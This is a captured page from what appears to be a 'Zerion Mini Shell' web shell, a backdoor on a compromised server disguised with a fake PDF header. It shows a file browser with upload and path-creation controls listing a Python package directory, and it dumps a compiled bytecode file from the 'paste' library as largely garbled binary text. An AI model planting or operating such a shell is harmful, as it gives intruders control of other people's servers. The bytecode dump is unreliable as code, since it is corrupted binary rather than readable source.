%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python37/lib/python3.7/site-packages/paste/util/__pycache__/
Upload File :
Create Path :
Current File : //opt/alt/python37/lib/python3.7/site-packages/paste/util/__pycache__/classinit.cpython-37.pyc

B

b�N9�@sGdd�de�Zdd�ZdS)c@seZdZdd�ZdS)�
ClassInitMetacCsTt�||||�}|�d�r:t|jt�s:t|dt|jj��t|d�rP|�||�|S)N�
__classinit__)	�type�__new__Zhas_key�
isinstancer�staticmethod�setattrZim_func�hasattr)�meta�
class_name�bases�	new_attrs�cls�r�E/opt/alt/python37/lib/python3.7/site-packages/paste/util/classinit.pyrs

zClassInitMeta.__new__N)�__name__�
__module__�__qualname__rrrrrrsrcCs�x�|��D]�\}}|�d�s0|�d�s0|�d�r
|dd�}t||�r�t||�}t|t�sptd|t|�|f��|j|j	|j
|jd�}ni}||d|d	d�<|�d�r�|jr�|j|d
<tf|�}t|||�q
WdS)z�
    Given a class and a new set of attributes (as passed in by
    __classinit__), create or modify properties based on functions
    with special names ending in __get, __set, and __del.
    Z__getZ__setZ__delN���zJAttribute %s is a %s, not a property; function %s is named like a property)�fget�fset�fdel�doc�f���r)
�items�endswithr�getattrr�property�
ValueErrorrrrr�__doc__r)r
r�name�value�baseZold_prop�attrsZnew_proprrr�build_propertiess(





r$N)rrr$rrrr�<module>s

Zerion Mini Shell 1.0